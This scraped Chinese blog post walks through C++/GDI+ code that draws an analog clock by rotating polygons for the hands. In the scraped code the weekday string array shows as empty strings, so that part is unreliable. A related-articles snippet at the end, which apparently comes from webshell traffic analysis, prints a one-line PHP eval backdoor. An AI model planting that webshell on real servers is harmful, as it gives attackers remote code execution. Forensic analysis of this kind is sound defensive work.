用GDI+旋转多边形来绘制一个时钟摸拟小程序

news/2024/11/13 9:33:10/文章来源:https://www.cnblogs.com/greenleaf1976/p/18373696

效果图

 

在头文件类中声明变量

TCHAR m_dayStr[4];    // 日期TCHAR m_weekStr[4];  // 星期Gdiplus::Font* m_pFont;  // 字体Gdiplus::StringFormat m_strFormat;  // 格式化字符串Gdiplus::Pen* m_pPen;      // 画笔Gdiplus::SolidBrush* m_pBrush;  // 画刷Gdiplus::RectF m_dayRect;      // 日期矩形Gdiplus::RectF m_weekRect;      // 星期矩形Gdiplus::PointF m_orgPointF; // 圆点坐标float m_rColok;    //圆半径

  Gdiplus::PointF hourPts[4];  //时针多边形数组
  Gdiplus::PointF mimPts[4];    //分针多边形数组
  Gdiplus::PointF scrPts[2];    //秒针数组

 

 

在初始化函数中初始变量的值

// 获得系统时间
SYSTEMTIME sysTime;
GetLocalTime(&sysTime);// 格式化日期和星期字符串
_stprintf_s(m_dayStr,TEXT("%02d"),sysTime.wDay);TCHAR weekStrs[7][4]={L"",L"",L"",L"",L"",L"",L""};
_stprintf_s(m_weekStr,TEXT("%s"),weekStrs[sysTime.wDayOfWeek]);// 启动时间计时器
SetTimer(m_hWnd,11,1000,NULL);

在WM_SIZE中计算圆点,半径,多边形分针,时针,秒针的顶点坐标数组值

float cx=LOWORD(lParam);float cy=HIWORD(lParam);// 计算圆点m_orgPointF.X=cx/2;m_orgPointF.Y=cy/2;// 计算半径m_rColok=min(cx,cy)/2;m_rColok-=10;float r=m_rColok;// 秒针数组赋值scrPts[0].X=0;scrPts[0].Y=-r*9/10;scrPts[1].X=0;scrPts[1].Y=r*2/10;// 分针多边形坐标数组mimPts[0].X=(float)(-r*0.7 / 10);mimPts[0].Y=0;mimPts[1].X=0;mimPts[1].Y=-r * 8/ 10;mimPts[2].X=(float)(r*0.7 / 10);mimPts[2].Y=0;mimPts[3].X=0;mimPts[3].Y=r * 2/ 10;// 时针多边形数组hourPts[0].X=-r / 10;hourPts[0].Y=0;hourPts[1].X=0;hourPts[1].Y=-r * 6/ 10;hourPts[2].X=r / 10;hourPts[2].Y=0;hourPts[3].X=0;hourPts[3].Y=r * 2/ 10;// 日期矩形m_dayRect.X=r-16;m_dayRect.Y=-10;m_dayRect.Width=20;m_dayRect.Height=20;// 日期矩形m_weekRect.X=r-36;m_weekRect.Y=-10;m_weekRect.Width=20;m_weekRect.Height=20;    

 

 

用旋转图片来绘制多边形,

图片旋转是以圆点为中心来旋转的,

所以要重新设置坐标系圆点为表盘中心点

自定义函数RotatePolygon来计算多边形的旋转,和绘制

// 旋转多边形,并绘制
// (绘制对象,多边形顶点坐标数组,顶点个数,旋转角度)
void
RotatePolygon(Gdiplus::Graphics* graphics, Gdiplus::PointF* points, int numPoints, float angle) {// 创建旋转矩阵 Gdiplus::Matrix matrix;matrix.Rotate(angle);// 旋转多边形的每个点Gdiplus::PointF* rotatedPoints = new Gdiplus::PointF[numPoints];for (int i = 0; i < numPoints; i++) {Gdiplus::PointF point = points[i];matrix.TransformPoints(&point, 1);rotatedPoints[i] = point;}Gdiplus::Pen pen(Color(255,0,0,0),(numPoints==2) ? 2.0f:1.0f);// 绘制旋转后的多边形graphics->DrawPolygon(&pen, rotatedPoints, numPoints);
  
  
  // 用线性渐变画刷填充多边形graphics
->FillPolygon(&Gdiplus::LinearGradientBrush(rotatedPoints[0],rotatedPoints[2],Color(255,0,0,255),Color(255,255,255,0)),rotatedPoints,numPoints);delete[] rotatedPoints; }

最后在WM_PAINT消息中绘制

void MyMainWnd::OnPaint(){PAINTSTRUCT ps;HDC hdc=BeginPaint(m_hWnd,&ps);// 创建内存dc,创建内存位图,并将内存位图选入内存dc中HDC hmdc=CreateCompatibleDC(hdc);;HBITMAP hBitmap=CreateCompatibleBitmap(hdc,ps.rcPaint.right,ps.rcPaint.bottom);HGDIOBJ hOldMap=SelectObject(hmdc,hBitmap);// 创建在内存dc中绘图对象
    Gdiplus::Graphics g(hmdc);g.SetSmoothingMode(SmoothingModeAntiAlias); //设置抗锯齿模式// 用指定颜色填充整个内存位图m_pBrush->SetColor(Color(255,128,128,129));g.FillRectangle(m_pBrush,0,0,ps.rcPaint.right,ps.rcPaint.bottom);// 设置新的坐标系原点为表盘中心点
    Gdiplus::Matrix transform;transform.Translate(m_orgPointF.X, m_orgPointF.Y);g.SetTransform(&transform);float xBegin,yBegin;float rClock=m_rColok; // 圆的半径// 用指定颜色的画刷,绘制表盘上的刻度m_pBrush->SetColor(Color(255,217,222,18));for(int i=0;i<60;i++){xBegin = (float)( rClock * sin(2 * PI*i / 60));yBegin = (float)(rClock * cos(2 * PI*i / 60));if (i % 5){// 填充小圆点表示小刻度g.FillEllipse(m_pBrush,xBegin-2,yBegin-2,4.0f,4.0f);}else{// 填充大圆点表示大刻度g.FillEllipse(m_pBrush,xBegin-4,yBegin-4,8.0f,8.0f);}}//获取系统时间
    SYSTEMTIME x;GetLocalTime(&x);// 绘制显示日期和星期的矩形区域m_pPen->SetColor(Color::Black);m_pBrush->SetColor(Color::YellowGreen);g.DrawRectangle(m_pPen,m_dayRect);g.DrawRectangle(m_pPen,m_weekRect);g.FillRectangle(m_pBrush,m_dayRect);g.FillRectangle(m_pBrush,m_weekRect);// 绘制日期和星期的字符串文本m_pBrush->SetColor(Color::Black);g.DrawString(m_dayStr,-1,m_pFont,m_dayRect,&m_strFormat,m_pBrush);g.DrawString(m_weekStr,-1,m_pFont,PointF(m_weekRect.X+1,m_weekRect.Y+4),m_pBrush);// 绘制时针float tem=(float)((float)x.wMinute/60);float fHour=x.wHour+tem;float sita=float(fHour*30);RotatePolygon(&g,hourPts,4,(float)sita); //计算时针旋转角度并绘制// 绘制分针sita=float(x.wMinute*6);RotatePolygon(&g,mimPts,4,(float)sita);// 绘制秒针sita = float(x.wSecond*6);RotatePolygon(&g,scrPts,2,sita);// 绘制圆心m_pBrush->SetColor(Color(255,0,0,255));g.FillEllipse(m_pBrush,-6,-6,12,12);// 将内存dc中绘制的图片复制到当前dc中BitBlt(hdc,0,0,(int)ps.rcPaint.right,(int)ps.rcPaint.bottom,hmdc,0,0,SRCCOPY);// 释放内存位图,内存dc
    SelectObject(hmdc,hOldMap);DeleteObject(hBitmap);DeleteObject(hmdc);EndPaint(m_hWnd,&ps);
}

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/785389.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

CREO装配约束

creo装配约束第一个是从添加进去的时候, 当直接从装配体中重新约束元件,需要点击左侧层树,右键点击编辑定义编辑定义右侧的链条符号也可以查看约束了那些内容

【流量特征+webshell】 菜刀 一句话流量分析

连接webshell 准备一句话 <?php eval($_POST[caidao]);?>打开菜刀连接webshell使用wireshark查询流量 特征分析 特征一:POST方法,一句话路径 首先,过滤http流量,可以看到有访问webshell后门的路径特征二:UA头均为百度爬虫标识User-Agent: Mozilla/5.0 (compatible…

Linux 中 sed G选项在行后添加空行

001、[root@localhost test]# ls a.txt [root@localhost test]# cat a.txt ## 测试数据 dfghghj hgfdwe [root@localhost test]# sed G a.txt ## G添加空行 dfghghjhgfdwe[root@localhost test]# sed G;G a.txt dfghghjhgfdwe[root@localhost test]# sed G;G;G…

【溯源系列】使用Wireshark分析日志文件:发现有人对网站进行了SQL注入,分析日志找到该IP地址

工具 Wireshark某公司安全工程师在维护网站时发现有人对网站进行了SQL注入,分析日志找到该IP地址。 要点 SQL.log文件主要显示具体的sql语句】access.log文件主要是记录web页面操作数据库的请求解题很简单,直接打开access.log文件,一步到位,检索sql注入的常见关键词select、…

【OS系列】程序是怎么一步步变成机器指令的?

程序是怎么一步步变成机器指令的? 2024年08月22日 12:03 四川 以下文章来源于码农的荒岛求生 ,作者码农的荒岛求生 大家好,今天简单聊聊程序是怎么一步步变成机器指令的。 左边是我们写的代码,右边是CPU执行的机器指令:想让CPU执行代码只需要简单的点击一下这个按钮:可是…

小米电视主页导航栏修改啦

小米电视导航栏可以修改啦,终于不再杂乱无章了。 步骤一:点击我的,拉到最下方,导航管理步骤二:进入导航管理后,按遥控器OK键,就可以移动了。OK 键 按遥控器菜单键,就可以删除或者添加了。菜单键 就是这么简单,赶紧去试试吧版权申明本文由:二萌生活发布,如需转载请注…

安装MySQL报错ERROR 2003 (HY000): Can‘t connect to MySQL server on ‘localhost:3306‘ (10061)

今天要在本地装个mysql,发现mysql-5.7.19-winx64版总是报错由于找不到MSVCP120.dll,无法继续执行代码。重新安装程序可能会解决此问题。,去微软官网找到了最新的Visual C++ Redistributable for Visual Studio,下载后发现还是不停地报错。怀疑是系统不兼容,没办法只好安装m…

Centos scp 免密传输文件

mkdir -p ~/.ssh 1、在 A 服务器上,进入.ssh 目录; [root@iZam205rbu8s7yra2fop0nZ ~]# cd ~/.ssh/2、在 A 服务器上面的.ssh 目录下生成密钥; [root@iZam205rbu8s7yra2fop0nZ .ssh]# ssh-keygen -t rsa 生成两个密钥,一个是私钥,一个是公钥;3、在 B 服务器上创建.ssh 文…

mysql57小版本升级操作指南

1. 关停 注意要使用 慢速关闭mysql,这样InnoDB在关闭之前执行完整的清除和更改缓冲区合并。 登录到mysql中 执行 mysql> SET GLOBAL innodb_fast_shutdown=0; mysql> shutdown;2. 备份 注:备份数据目录和应用程序,注意mysql的属主属组 数据目录查找方式: MySQL 的数据…

MySQL 亿级数据平滑迁移实战

本文介绍了一次 MySQL 数据迁移的流程,通过方案选型、业务改造、双写迁移最终实现了亿级数据的迁移。作者:来自 vivo 互联网服务器团队- Li Gang本文介绍了一次 MySQL 数据迁移的流程,通过方案选型、业务改造、双写迁移最终实现了亿级数据的迁移。 一、背景 预约业务是 vivo…

星尘智能发布AI机器人助理Astribot S1

原文链接:https://mp.weixin.qq.com/s/P26zhHzmuqe0M2TDTLRlvg星尘智能很高兴正式发布 AI 机器人助理—— Astribot S1 我们精心打磨了 S1 背后的技术与产品细节, 希望它为你而生,为你而智(Naturally Yours)。星尘智能 S1 产品视频请看:https://www.bilibili.com/video/B…

再谈《Visual Studio中编写x64汇编的具体方法》

很久以前,写了一篇 《VS2010中编写x64汇编的具体方法》 当时也没有太深入研究,只是粗粗的实现了功能而已。后来看了微软官方文档,才发现有更简单更合理的设置方法。 微软原文如下: MASM for x64 (ml64.exe) | Microsoft Learn将汇编程序语言文件添加到 Visual Studio C++ 项…